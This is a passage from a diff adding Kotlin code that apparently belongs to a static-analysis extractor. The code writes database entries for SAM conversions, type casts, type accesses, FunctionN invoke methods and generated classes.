+                    extractTypeAccessRecursive(arg, locId, typeAccessId, argIdx, callable, exprParent.enclosingStmt, TypeContext.GENERIC_ARGUMENT)
+                }
+
+                extractConstructorTypeAccess(returnType, useType(returnType), target, locId, typeAccessId, typeAccessArguments.count() - 1, callable, exprParent.enclosingStmt)
+            } else {
+                extractTypeAccessRecursive(fnInterfaceType, locId, idMemberRef, -3, callable, exprParent.enclosingStmt)
+            }
+
+            tw.writeMemberRefBinding(idMemberRef, targetCallableId)
+
+            helper.extractConstructorArguments(callable, idMemberRef, exprParent.enclosingStmt)
+
+            tw.writeIsAnonymClass(classId, idMemberRef)
+        }
+    }
+
+    private fun getFunctionalInterfaceType(functionNTypeArguments: List<IrType>) =
+        if (functionNTypeArguments.size > BuiltInFunctionArity.BIG_ARITY) {
+            pluginContext.referenceClass(FqName("kotlin.jvm.functions.FunctionN"))!!
+                .typeWith(functionNTypeArguments.last())
+        } else {
+            functionN(pluginContext)(functionNTypeArguments.size - 1).typeWith(functionNTypeArguments)
+        }
+
+    private fun getFunctionalInterfaceTypeWithTypeArgs(functionNTypeArguments: List<IrTypeArgument>) =
+        if (functionNTypeArguments.size > BuiltInFunctionArity.BIG_ARITY) {
+            pluginContext.referenceClass(FqName("kotlin.jvm.functions.FunctionN"))!!
+                .typeWithArguments(listOf(functionNTypeArguments.last()))
+        } else {
+            functionN(pluginContext)(functionNTypeArguments.size - 1).symbol.typeWithArguments(functionNTypeArguments)
+        }
+
+    private data class FunctionLabels(
+        val methodId: Label<DbMethod>,
+        val blockId: Label<DbBlock>,
+        val parameters: List<Pair<Label<DbParam>, TypeResults>>)
+
+    /**
+     * Adds a function `invoke(a: Any[])` with the specified return type to the class identified by `parentId`.
+     */
+    private fun addFunctionNInvoke(methodId: Label<DbMethod>, returnType: IrType, parentId: Label<out DbReftype>, locId: Label<DbLocation>): FunctionLabels {
+        return addFunctionInvoke(methodId, listOf(pluginContext.irBuiltIns.arrayClass.typeWith(pluginContext.irBuiltIns.anyNType)), returnType, parentId, locId)
+    }
+
+    /**
+     * Adds a function named `invoke` with the specified parameter types and return type to the class identified by `parentId`.
+     */
+    private fun addFunctionInvoke(methodId: Label<DbMethod>, parameterTypes: List<IrType>, returnType: IrType, parentId: Label<out DbReftype>, locId: Label<DbLocation>): FunctionLabels {
+        return addFunctionManual(methodId, OperatorNameConventions.INVOKE.asString(), parameterTypes, returnType, parentId, locId)
+    }
+
+    /**
+     * Extracts a function with the given name, parameter types, return type, containing type, and location.
+     */
+    private fun addFunctionManual(
+        methodId: Label<DbMethod>,
+        name: String,
+        parameterTypes: List<IrType>,
+        returnType: IrType,
+        parentId: Label<out DbReftype>,
+        locId: Label<DbLocation>)
+    : FunctionLabels {
+
+        val parameters = parameterTypes.mapIndexed { idx, p ->
+            val paramId = tw.getFreshIdLabel<DbParam>()
+            val paramType = extractValueParameter(paramId, p, "a$idx", locId, methodId, idx, null, paramId, false)
+
+            Pair(paramId, paramType)
+        }
+
+        val paramsSignature = parameters.joinToString(separator = ",", prefix = "(", postfix = ")") { it.second.javaResult.signature!! }
+
+        val rt = useType(returnType, TypeContext.RETURN)
+        tw.writeMethods(methodId, name, "$name$paramsSignature", rt.javaResult.id, parentId, methodId)
+        tw.writeMethodsKotlinType(methodId, rt.kotlinResult.id)
+        tw.writeHasLocation(methodId, locId)
+
+        addModifiers(methodId, "public")
+        addModifiers(methodId, "override")
+
+        // Block
+        val blockId = tw.getFreshIdLabel<DbBlock>()
+        tw.writeStmts_block(blockId, methodId, 0, methodId)
+        tw.writeHasLocation(blockId, locId)
+
+        return FunctionLabels(methodId, blockId, parameters)
+    }
+
+    /*
+    * This function generates an implementation for `fun kotlin.FunctionN<R>.invoke(vararg args: Any?): R`
+    *
+    * The following body is added:
+    * ```
+    * fun invoke(vararg a0: Any?): R {
+    *   return invoke(a0[0] as T0, a0[1] as T1, ..., a0[I] as TI)
+    * }
+    * ```
+    * */
+    private fun implementFunctionNInvoke(
+        lambda: IrFunction,
+        ids: LocallyVisibleFunctionLabels,
+        locId: Label<DbLocation>,
+        parameters: List<IrValueParameter>
+    ) {
+        val funLabels = addFunctionNInvoke(tw.getFreshIdLabel(), lambda.returnType, ids.type.javaResult.id.cast<DbReftype>(), locId)
+
+        // Return
+        val retId = tw.getFreshIdLabel<DbReturnstmt>()
+        tw.writeStmts_returnstmt(retId, funLabels.blockId, 0, funLabels.methodId)
+        tw.writeHasLocation(retId, locId)
+
+        fun extractCommonExpr(id: Label<out DbExpr>) {
+            tw.writeHasLocation(id, locId)
+            tw.writeCallableEnclosingExpr(id, funLabels.methodId)
+            tw.writeStatementEnclosingExpr(id, retId)
+        }
+
+        // Call to original `invoke`:
+        val callId = tw.getFreshIdLabel<DbMethodaccess>()
+        val callType = useType(lambda.returnType)
+        tw.writeExprs_methodaccess(callId, callType.javaResult.id, retId, 0)
+        tw.writeExprsKotlinType(callId, callType.kotlinResult.id)
+        extractCommonExpr(callId)
+        val calledMethodId = useFunction<DbMethod>(lambda)
+        tw.writeCallableBinding(callId, calledMethodId)
+
+        // this access
+        val thisId = tw.getFreshIdLabel<DbThisaccess>()
+        tw.writeExprs_thisaccess(thisId, ids.type.javaResult.id, callId, -1)
+        tw.writeExprsKotlinType(thisId, ids.type.kotlinResult.id)
+        extractCommonExpr(thisId)
+
+        addArgumentsToInvocationInInvokeNBody(parameters.map { it.type }, funLabels, retId, callId, locId, ::extractCommonExpr)
+    }
+
+    /**
+     * Adds the arguments to the method call inside `invoke(a0: Any[])`. Each argument is an array access with a cast:
+     *
+     * ```
+     * fun invoke(a0: Any[]) : T {
+     *   return fn(a0[0] as T0, a0[1] as T1, ...)
+     * }
+     * ```
+     */
+    private fun addArgumentsToInvocationInInvokeNBody(
+        parameterTypes: List<IrType>,                   // list of parameter types
+        funLabels: FunctionLabels,                      // already generated labels for the function definition
+        enclosingStmtId: Label<out DbStmt>,             // label for the enclosing statement (return)
+        exprParentId: Label<out DbExprparent>,          // label for the expression parent (call)
+        locId: Label<DbLocation>,                       // label for the location of all generated items
+        extractCommonExpr: (Label<out DbExpr>) -> Unit, // lambda used for extracting location, enclosing stmt and expr for all new expressions
+        firstArgumentOffset: Int = 0,                   // 0 or 1, the index used for the first argument. 1 in case an extension parameter is already accessed at index 0
+        useFirstArgAsDispatch: Boolean = false,         // true if the first argument should be used as the dispatch receiver
+        dispatchReceiverIdx: Int = -1                   // index of the dispatch receiver. -1 in case of functions, -2 in case of constructors
+    ) {
+        val intType = useType(pluginContext.irBuiltIns.intType)
+        val argsParamType = pluginContext.irBuiltIns.arrayClass.typeWith(pluginContext.irBuiltIns.anyNType)
+        val argsType = useType(argsParamType)
+        val anyNType = useType(pluginContext.irBuiltIns.anyNType)
+
+        val dispatchIdxOffset = if (useFirstArgAsDispatch) 1 else 0
+
+        for ((pIdx, pType) in parameterTypes.withIndex()) {
+            // `a0[i] as Ti` is generated below for each parameter
+
+            val childIdx =
+                if (pIdx == 0 && useFirstArgAsDispatch) {
+                    dispatchReceiverIdx
+                } else {
+                    pIdx + firstArgumentOffset - dispatchIdxOffset
+                }
+
+            // cast: `(Ti)a0[i]`
+            val castId = tw.getFreshIdLabel<DbCastexpr>()
+            val type = useType(pType)
+            tw.writeExprs_castexpr(castId, type.javaResult.id, exprParentId, childIdx)
+            tw.writeExprsKotlinType(castId, type.kotlinResult.id)
+            extractCommonExpr(castId)
+
+            // type access `Ti`
+            extractTypeAccessRecursive(pType, locId, castId, 0, funLabels.methodId, enclosingStmtId)
+
+            // element access: `a0[i]`
+            val arrayAccessId = tw.getFreshIdLabel<DbArrayaccess>()
+            tw.writeExprs_arrayaccess(arrayAccessId, anyNType.javaResult.id, castId, 1)
+            tw.writeExprsKotlinType(arrayAccessId, anyNType.kotlinResult.id)
+            extractCommonExpr(arrayAccessId)
+
+            // parameter access: `a0`
+            val argsAccessId = tw.getFreshIdLabel<DbVaraccess>()
+            tw.writeExprs_varaccess(argsAccessId, argsType.javaResult.id, arrayAccessId, 0)
+            tw.writeExprsKotlinType(argsAccessId, argsType.kotlinResult.id)
+            extractCommonExpr(argsAccessId)
+            tw.writeVariableBinding(argsAccessId, funLabels.parameters.first().first)
+
+            // index access: `i`
+            val indexId = tw.getFreshIdLabel<DbIntegerliteral>()
+            tw.writeExprs_integerliteral(indexId, intType.javaResult.id, arrayAccessId, 1)
+            tw.writeExprsKotlinType(indexId, intType.kotlinResult.id)
+            extractCommonExpr(indexId)
+            tw.writeNamestrings(pIdx.toString(), pIdx.toString(), indexId)
+        }
+    }
+
+    fun extractVarargElement(e: IrVarargElement, callable: Label<out DbCallable>, parent: Label<out DbExprparent>, idx: Int, enclosingStmt: Label<out DbStmt>) {
+        with("vararg element", e) {
+            val argExpr = when(e) {
+                is IrExpression -> e
+                is IrSpreadElement -> e.expression
+                else -> {
+                    logger.errorElement("Unrecognised IrVarargElement: " + e.javaClass, e)
+                    null
+                }
+            }
+            argExpr?.let {
+                extractExpressionExpr(it, callable, parent, idx, enclosingStmt)
+            }
+        }
+    }
+
+    /**
+     * Extracts a type access expression and its generic arguments for a constructor call.
+     * It only extracts type arguments relating to the constructed type, not the constructor itself, which makes a
+     * difference in case of nested generics.
+     */
+    private fun extractConstructorTypeAccess(
+        irType: IrType,
+        type: TypeResults,
+        target: IrFunctionSymbol,
+        locId: Label<DbLocation>,
+        parent: Label<out DbExprparent>,
+        idx: Int,
+        enclosingCallable: Label<out DbCallable>,
+        enclosingStmt: Label<out DbStmt>
+    ) {
+        val typeAccessId = extractTypeAccess(type, locId, parent, idx, enclosingCallable, enclosingStmt)
+        if (irType is IrSimpleType) {
+            extractTypeArguments(irType.arguments.take(target.owner.parentAsClass.typeParameters.size).filterIsInstance<IrType>(),
+                locId, typeAccessId, enclosingCallable, enclosingStmt)
+        }
+    }
+
+    /**
+     * Extracts a single type access expression with no enclosing callable and statement.
+     */
+    private fun extractTypeAccess(type: TypeResults, location: Label<DbLocation>, parent: Label<out DbExprparent>, idx: Int): Label<out DbExpr> {
+        // TODO: elementForLocation allows us to give some sort of
+        //   location, but a proper location for the type access will
+        //   require upstream changes
+        val id = tw.getFreshIdLabel<DbUnannotatedtypeaccess>()
+        tw.writeExprs_unannotatedtypeaccess(id, type.javaResult.id, parent, idx)
+        tw.writeExprsKotlinType(id, type.kotlinResult.id)
+        tw.writeHasLocation(id, location)
+        return id
+    }
+
+    /**
+     * Extracts a single type access expression with enclosing callable and statement.
+     */
+    private fun extractTypeAccess(type: TypeResults, location: Label<DbLocation>, parent: Label<out DbExprparent>, idx: Int, enclosingCallable: Label<out DbCallable>, enclosingStmt: Label<out DbStmt>): Label<out DbExpr> {
+        val id = extractTypeAccess(type, location, parent, idx)
+        tw.writeCallableEnclosingExpr(id, enclosingCallable)
+        tw.writeStatementEnclosingExpr(id, enclosingStmt)
+        return id
+    }
+
+    /**
+     * Extracts a type access expression and its child type access expressions in case of a generic type. Nested generics are also handled.
+     * No enclosing callable and statement is extracted, this is useful for type access extraction in field declarations.
+     */
+    private fun extractTypeAccessRecursive(t: IrType, location: Label<DbLocation>, parent: Label<out DbExprparent>, idx: Int, typeContext: TypeContext = TypeContext.OTHER): Label<out DbExpr> {
+        val typeAccessId = extractTypeAccess(useType(t, typeContext), location, parent, idx)
+        if (t is IrSimpleType) {
+            t.arguments.filterIsInstance<IrType>().forEachIndexed { argIdx, arg ->
+                extractTypeAccessRecursive(arg, location, typeAccessId, argIdx, TypeContext.GENERIC_ARGUMENT)
+            }
+        }
+        return typeAccessId
+    }
+
+    /**
+     * Extracts a type access expression and its child type access expressions in case of a generic type. Nested generics are also handled.
+     */
+    private fun extractTypeAccessRecursive(t: IrType, location: Label<DbLocation>, parent: Label<out DbExprparent>, idx: Int, enclosingCallable: Label<out DbCallable>, enclosingStmt: Label<out DbStmt>, typeContext: TypeContext = TypeContext.OTHER): Label<out DbExpr> {
+        val typeAccessId = extractTypeAccess(useType(t, typeContext), location, parent, idx, enclosingCallable, enclosingStmt)
+        if (t is IrSimpleType) {
+            extractTypeArguments(t.arguments.filterIsInstance<IrType>(), location, typeAccessId, enclosingCallable, enclosingStmt)
+        }
+        return typeAccessId
+    }
+
+    /**
+     * Extracts a list of types as type access expressions. Nested generics are also handled.
+     * Used for extracting nested type access expressions, and type arguments of constructor or function calls.
+     */
+    private fun extractTypeArguments(
+        typeArgs: List<IrType>,
+        location: Label<DbLocation>,
+        parentExpr: Label<out DbExprparent>,
+        enclosingCallable: Label<out DbCallable>,
+        enclosingStmt: Label<out DbStmt>,
+        startIndex: Int = 0,
+        reverse: Boolean = false
+    ) {
+        typeArgs.forEachIndexed { argIdx, arg ->
+            val mul = if (reverse) -1 else 1
+            extractTypeAccessRecursive(arg, location, parentExpr, argIdx * mul + startIndex, enclosingCallable, enclosingStmt, TypeContext.GENERIC_ARGUMENT)
+        }
+    }
+
+    /**
+     * Extracts type arguments of a member access expression as type access expressions. Nested generics are also handled.
+     * Used for extracting nested type access expressions, and type arguments of constructor or function calls.
+     */
+    private fun <T : IrSymbol> extractTypeArguments(
+        c: IrMemberAccessExpression<T>,
+        parentExpr: Label<out DbExprparent>,
+        enclosingCallable: Label<out DbCallable>,
+        enclosingStmt: Label<out DbStmt>,
+        startIndex: Int = 0,
+        reverse: Boolean = false
+    ) {
+        extractTypeArguments((0 until c.typeArgumentsCount).map { c.getTypeArgument(it)!! }, tw.getLocation(c), parentExpr, enclosingCallable, enclosingStmt, startIndex, reverse)
+    }
+
+    private fun extractArrayCreationWithInitializer(
+        parent: Label<out DbExprparent>,
+        arraySize: Int,
+        locId: Label<DbLocation>,
+        enclosingCallable: Label<out DbCallable>,
+        enclosingStmt: Label<out DbStmt>
+    ) : Label<DbArrayinit> {
+
+        fun extractCommonExpr(id: Label<out DbExpr>) {
+            tw.writeHasLocation(id, locId)
+            tw.writeCallableEnclosingExpr(id, enclosingCallable)
+            tw.writeStatementEnclosingExpr(id, enclosingStmt)
+        }
+
+        val arrayCreationId = tw.getFreshIdLabel<DbArraycreationexpr>()
+        val arrayType = pluginContext.irBuiltIns.arrayClass.typeWith(pluginContext.irBuiltIns.anyNType)
+        val at = useType(arrayType)
+        tw.writeExprs_arraycreationexpr(arrayCreationId, at.javaResult.id, parent, 0)
+        tw.writeExprsKotlinType(arrayCreationId, at.kotlinResult.id)
+        extractCommonExpr(arrayCreationId)
+
+        extractTypeAccessRecursive(pluginContext.irBuiltIns.anyNType, locId, arrayCreationId, -1, enclosingCallable, enclosingStmt)
+
+        val initId = tw.getFreshIdLabel<DbArrayinit>()
+        tw.writeExprs_arrayinit(initId, at.javaResult.id, arrayCreationId, -2)
+        tw.writeExprsKotlinType(initId, at.kotlinResult.id)
+        extractCommonExpr(initId)
+
+        val dim = arraySize.toString()
+        val dimId = tw.getFreshIdLabel<DbIntegerliteral>()
+        val dimType = useType(pluginContext.irBuiltIns.intType)
+        tw.writeExprs_integerliteral(dimId, dimType.javaResult.id, arrayCreationId, 0)
+        tw.writeExprsKotlinType(dimId, dimType.kotlinResult.id)
+        extractCommonExpr(dimId)
+        tw.writeNamestrings(dim, dim, dimId)
+
+        return initId
+    }
+
+    fun extractTypeOperatorCall(e: IrTypeOperatorCall, callable: Label<out DbCallable>, parent: Label<out DbExprparent>, idx: Int, enclosingStmt: Label<out DbStmt>) {
+        with("type operator call", e) {
+            when(e.operator) {
+                IrTypeOperator.CAST -> {
+                    val id = tw.getFreshIdLabel<DbCastexpr>()
+                    val locId = tw.getLocation(e)
+                    val type = useType(e.type)
+                    tw.writeExprs_castexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, enclosingStmt)
+                    extractTypeAccessRecursive(e.typeOperand, locId, id, 0, callable, enclosingStmt)
+                    extractExpressionExpr(e.argument, callable, id, 1, enclosingStmt)
+                }
+                IrTypeOperator.IMPLICIT_CAST -> {
+                    val id = tw.getFreshIdLabel<DbImplicitcastexpr>()
+                    val locId = tw.getLocation(e)
+                    val type = useType(e.type)
+                    tw.writeExprs_implicitcastexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, enclosingStmt)
+                    extractTypeAccessRecursive(e.typeOperand, locId, id, 0, callable, enclosingStmt)
+                    extractExpressionExpr(e.argument, callable, id, 1, enclosingStmt)
+                }
+                IrTypeOperator.IMPLICIT_NOTNULL -> {
+                    val id = tw.getFreshIdLabel<DbImplicitnotnullexpr>()
+                    val locId = tw.getLocation(e)
+                    val type = useType(e.type)
+                    tw.writeExprs_implicitnotnullexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, enclosingStmt)
+                    extractTypeAccessRecursive(e.typeOperand, locId, id, 0, callable, enclosingStmt)
+                    extractExpressionExpr(e.argument, callable, id, 1, enclosingStmt)
+                }
+                IrTypeOperator.IMPLICIT_COERCION_TO_UNIT -> {
+                    val id = tw.getFreshIdLabel<DbImplicitcoerciontounitexpr>()
+                    val locId = tw.getLocation(e)
+                    val type = useType(e.type)
+                    tw.writeExprs_implicitcoerciontounitexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, enclosingStmt)
+                    extractTypeAccessRecursive(e.typeOperand, locId, id, 0, callable, enclosingStmt)
+                    extractExpressionExpr(e.argument, callable, id, 1, enclosingStmt)
+                }
+                IrTypeOperator.SAFE_CAST -> {
+                    val id = tw.getFreshIdLabel<DbSafecastexpr>()
+                    val locId = tw.getLocation(e)
+                    val type = useType(e.type)
+                    tw.writeExprs_safecastexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, enclosingStmt)
+                    extractTypeAccessRecursive(e.typeOperand, locId, id, 0, callable, enclosingStmt)
+                    extractExpressionExpr(e.argument, callable, id, 1, enclosingStmt)
+                }
+                IrTypeOperator.INSTANCEOF -> {
+                    val id = tw.getFreshIdLabel<DbInstanceofexpr>()
+                    val locId = tw.getLocation(e)
+                    val type = useType(e.type)
+                    tw.writeExprs_instanceofexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, enclosingStmt)
+                    extractExpressionExpr(e.argument, callable, id, 0, enclosingStmt)
+                    extractTypeAccessRecursive(e.typeOperand, locId, id, 1, callable, enclosingStmt)
+                }
+                IrTypeOperator.NOT_INSTANCEOF -> {
+                    val id = tw.getFreshIdLabel<DbNotinstanceofexpr>()
+                    val locId = tw.getLocation(e)
+                    val type = useType(e.type)
+                    tw.writeExprs_notinstanceofexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, enclosingStmt)
+                    extractExpressionExpr(e.argument, callable, id, 0, enclosingStmt)
+                    extractTypeAccessRecursive(e.typeOperand, locId, id, 1, callable, enclosingStmt)
+                }
+                IrTypeOperator.SAM_CONVERSION -> {
+
+                    /*
+                       The following Kotlin code
+
+                       ```
+                       fun interface IntPredicate {
+                           fun accept(i: Int): Boolean
+                       }
+
+                       val x = IntPredicate { it % 2 == 0 }
+                       ```
+
+                       is extracted as
+
+                       ```
+                       interface IntPredicate {
+                           Boolean accept(Integer i);
+                       }
+                       class <Anon> extends Object implements IntPredicate {
+                           Function1<Integer, Boolean> <fn>;
+                           public <Anon>(Function1<Integer, Boolean> <fn>) { this.<fn> = <fn>; }
+                           public Boolean accept(Integer i) { return <fn>.invoke(i); }
+                       }
+
+                       IntPredicate x = (IntPredicate)new <Anon>(...);
+                       ```
+                     */
+
+                    if (!e.argument.type.isFunctionOrKFunction()) {
+                        logger.errorElement("Expected to find expression with function type in SAM conversion.", e)
+                        return
+                    }
+
+                    val st = e.argument.type as? IrSimpleType
+                    if (st == null) {
+                        logger.errorElement("Expected to find a simple type in SAM conversion.", e)
+                        return
+                    }
+
+                    // Either Function1, ... Function22 or FunctionN type, but not Function23 or above.
+                    val functionType = getFunctionalInterfaceTypeWithTypeArgs(st.arguments)
+
+                    val invokeMethod = functionType.classOrNull?.owner?.declarations?.filterIsInstance<IrFunction>()?.find { it.name.asString() == OperatorNameConventions.INVOKE.asString()}
+                    if (invokeMethod == null) {
+                        logger.errorElement("Couldn't find `invoke` method on functional interface.", e)
+                        return
+                    }
+
+                    val typeOwner = e.typeOperandClassifier.owner
+                    val samMember = if (typeOwner !is IrClass) {
+                        logger.errorElement("Expected to find SAM conversion to IrClass. Found '${typeOwner.javaClass}' instead. Can't implement SAM interface.", e)
+                        return
+                    } else {
+                        val samMember = typeOwner.declarations.filterIsInstance<IrFunction>().find { it is IrOverridableMember && it.modality == Modality.ABSTRACT }
+                        if (samMember == null) {
+                            logger.errorElement("Couldn't find SAM member in type '${typeOwner.kotlinFqName.asString()}'. Can't implement SAM interface.", e)
+                            return
+                        } else {
+                            samMember
+                        }
+                    }
+
+                    val javaResult = TypeResult(tw.getFreshIdLabel<DbClass>(), "", "")
+                    val kotlinResult = TypeResult(tw.getFreshIdLabel<DbKt_notnull_type>(), "", "")
+                    tw.writeKt_notnull_types(kotlinResult.id, javaResult.id)
+                    val ids = LocallyVisibleFunctionLabels(
+                        TypeResults(javaResult, kotlinResult),
+                        constructor = tw.getFreshIdLabel(),
+                        constructorBlock = tw.getFreshIdLabel(),
+                        function = tw.getFreshIdLabel())
+
+                    val locId = tw.getLocation(e)
+                    val helper = GeneratedClassHelper(locId, ids)
+
+                    val currentDeclaration = declarationStack.peek()
+                    val classId = extractGeneratedClass(ids, listOf(pluginContext.irBuiltIns.anyType, e.typeOperand), locId, currentDeclaration)
+
+                    // add field
+                    val fieldId = tw.getFreshIdLabel<DbField>()
+                    extractField(fieldId, "<fn>", functionType, classId, locId, DescriptorVisibilities.PRIVATE, e, isExternalDeclaration = false, isFinal = true)
+
+                    // adjust constructor
+                    helper.extractParameterToFieldAssignmentInConstructor("<fn>", functionType, fieldId, 0, 1)
+
+                    // add implementation function
+                    val classTypeArgs = (e.type as? IrSimpleType)?.arguments
+                    val typeSub = classTypeArgs?.let { makeGenericSubstitutionFunction(typeOwner, it) }
+
+                    fun trySub(t: IrType, context: TypeContext) = if (typeSub == null) t else typeSub(t, context, pluginContext)
+
+                    extractFunction(samMember, classId, extractBody = false, extractMethodAndParameterTypeAccesses = true, typeSub, classTypeArgs, idOverride = ids.function, locOverride = tw.getLocation(e))
+
+                    //body
+                    val blockId = tw.getFreshIdLabel<DbBlock>()
+                    tw.writeStmts_block(blockId, ids.function, 0, ids.function)
+                    tw.writeHasLocation(blockId, locId)
+
+                    //return stmt
+                    val returnId = tw.getFreshIdLabel<DbReturnstmt>()
+                    tw.writeStmts_returnstmt(returnId, blockId, 0, ids.function)
+                    tw.writeHasLocation(returnId, locId)
+
+                    //<fn>.invoke(vp0, cp1, vp2, vp3, ...) or
+                    //<fn>.invoke(new Object[x]{vp0, vp1, vp2, ...})
+
+                    fun extractCommonExpr(id: Label<out DbExpr>) {
+                        tw.writeHasLocation(id, locId)
+                        tw.writeCallableEnclosingExpr(id, ids.function)
+                        tw.writeStatementEnclosingExpr(id, returnId)
+                    }
+
+                    // Call to original `invoke`:
+                    val callId = tw.getFreshIdLabel<DbMethodaccess>()
+                    val callType = useType(trySub(samMember.returnType, TypeContext.RETURN))
+                    tw.writeExprs_methodaccess(callId, callType.javaResult.id, returnId, 0)
+                    tw.writeExprsKotlinType(callId, callType.kotlinResult.id)
+                    extractCommonExpr(callId)
+                    val calledMethodId = useFunction<DbMethod>(invokeMethod, functionType.arguments)
+                    tw.writeCallableBinding(callId, calledMethodId)
+
+                    // <fn> access
+                    val lhsId = tw.getFreshIdLabel<DbVaraccess>()
+                    val lhsType = useType(functionType)
+                    tw.writeExprs_varaccess(lhsId, lhsType.javaResult.id, callId, -1)
+                    tw.writeExprsKotlinType(lhsId, lhsType.kotlinResult.id)
+                    extractCommonExpr(lhsId)
+                    tw.writeVariableBinding(lhsId, fieldId)
+
+                    val parameters = mutableListOf<IrValueParameter>()
+                    val extParam = samMember.extensionReceiverParameter
+                    if (extParam != null) {
+                        parameters.add(extParam)
+                    }
+                    parameters.addAll(samMember.valueParameters)
+
+                    fun extractArgument(p: IrValueParameter, idx: Int, parent: Label<out DbExprparent>) {
+                        val argsAccessId = tw.getFreshIdLabel<DbVaraccess>()
+                        val paramType = useType(trySub(p.type, TypeContext.OTHER))
+                        tw.writeExprs_varaccess(argsAccessId, paramType.javaResult.id, parent, idx)
+                        tw.writeExprsKotlinType(argsAccessId, paramType.kotlinResult.id)
+                        extractCommonExpr(argsAccessId)
+                        tw.writeVariableBinding(argsAccessId, useValueParameter(p, ids.function))
+                    }
+
+                    val isBigArity = st.arguments.size > BuiltInFunctionArity.BIG_ARITY
+                    val argParent = if (isBigArity) {
+                        //<fn>.invoke(new Object[x]{vp0, vp1, vp2, ...})
+                        extractArrayCreationWithInitializer(callId, parameters.size, locId, ids.function, returnId)
+                    } else {
+                        //<fn>.invoke(vp0, cp1, vp2, vp3, ...) or
+                        callId
+                    }
+
+                    for ((parameterIdx, vp) in parameters.withIndex()) {
+                        extractArgument(vp, parameterIdx, argParent)
+                    }
+
+                    val id = tw.getFreshIdLabel<DbCastexpr>()
+                    val type = useType(e.typeOperand)
+                    tw.writeExprs_castexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, enclosingStmt)
+                    extractTypeAccessRecursive(e.typeOperand, locId, id, 0, callable, enclosingStmt)
+
+                    val idNewexpr = extractNewExpr(ids.constructor, ids.type, locId, id, 1, callable, enclosingStmt)
+
+                    tw.writeIsAnonymClass(ids.type.javaResult.id.cast<DbClass>(), idNewexpr)
+
+                    extractTypeAccessRecursive(e.typeOperand, locId, idNewexpr, -3, callable, enclosingStmt)
+
+                    extractExpressionExpr(e.argument, callable, idNewexpr, 0, enclosingStmt)
+                }
+                else -> {
+                    logger.errorElement("Unrecognised IrTypeOperatorCall for ${e.operator}: " + e.render(), e)
+                }
+            }
+        }
+    }
+
+    private fun extractBreakContinue(
+        e: IrBreakContinue,
+        id: Label<out DbBreakcontinuestmt>
+    ) {
+        with("break/continue", e) {
+            val locId = tw.getLocation(e)
+            tw.writeHasLocation(id, locId)
+            val label = e.label
+            if (label != null) {
+                tw.writeNamestrings(label, "", id)
+            }
+
+            val loopId = loopIdMap[e.loop]
+            if (loopId == null) {
+                logger.errorElement("Missing break/continue target", e)
+                return
+            }
+
+            tw.writeKtBreakContinueTargets(id, loopId)
+        }
+    }
+
+    private val IrType.isAnonymous: Boolean
+        get() = ((this as? IrSimpleType)?.classifier?.owner as? IrClass)?.isAnonymousObject ?: false
+
+    private fun addVisibilityModifierToLocalOrAnonymousClass(id: Label<out DbModifiable>) {
+        addModifiers(id, "private")
+    }
+
+    /**
+     * Extracts the class around a local function, a lambda, or a function reference.
+     */
+    private fun extractGeneratedClass(
+        ids: GeneratedClassLabels,
+        superTypes: List<IrType>,
+        locId: Label<DbLocation>,
+        currentDeclaration: IrDeclaration
+    ): Label<out DbClass> {
+        // Write class
+        val id = ids.type.javaResult.id.cast<DbClass>()
+        val pkgId = extractPackage("")
+        tw.writeClasses(id, "", pkgId, id)
+        tw.writeHasLocation(id, locId)
+
+        // Extract constructor
+        val unitType = useType(pluginContext.irBuiltIns.unitType)
+        tw.writeConstrs(ids.constructor, "", "", unitType.javaResult.id, id, ids.constructor)
+        tw.writeConstrsKotlinType(ids.constructor, unitType.kotlinResult.id)
+        tw.writeHasLocation(ids.constructor, locId)
+        addModifiers(ids.constructor, "public")
+
+        // Constructor body
+        val constructorBlockId = ids.constructorBlock
+        tw.writeStmts_block(constructorBlockId, ids.constructor, 0, ids.constructor)
+        tw.writeHasLocation(constructorBlockId, locId)
+
+        // Super call
+        val superCallId = tw.getFreshIdLabel<DbSuperconstructorinvocationstmt>()
+        tw.writeStmts_superconstructorinvocationstmt(superCallId, constructorBlockId, 0, ids.constructor)
+
+        val baseConstructor = superTypes.first().classOrNull!!.owner.declarations.find { it is IrFunction && it.symbol is IrConstructorSymbol }
+        val baseConstructorId = useFunction<DbConstructor>(baseConstructor as IrFunction)
+
+        tw.writeHasLocation(superCallId, locId)
+        tw.writeCallableBinding(superCallId.cast<DbCaller>(), baseConstructorId)
+
+        addModifiers(id, "final")
+        addVisibilityModifierToLocalOrAnonymousClass(id)
+        extractClassSupertypes(superTypes, listOf(), id, inReceiverContext = true)
+
+        extractEnclosingClass(currentDeclaration, id, locId, listOf())
+
+        return id
+    }
+
+    /**
+     * Extracts the class around a local function or a lambda.
+     */
+    private fun extractGeneratedClass(localFunction: IrFunction, superTypes: List<IrType>) : Label<out DbClass> {
